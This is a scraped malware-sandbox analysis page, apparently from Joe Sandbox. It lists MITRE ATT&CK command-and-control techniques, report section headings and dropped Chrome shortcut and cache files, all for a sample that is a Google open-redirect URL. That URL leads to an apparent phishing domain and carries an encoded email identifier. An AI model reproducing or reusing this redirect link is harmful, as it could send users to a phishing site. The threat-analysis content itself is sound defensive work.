Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://google.com.mx//url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Windows Analysis Report
https://google.com.mx//url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t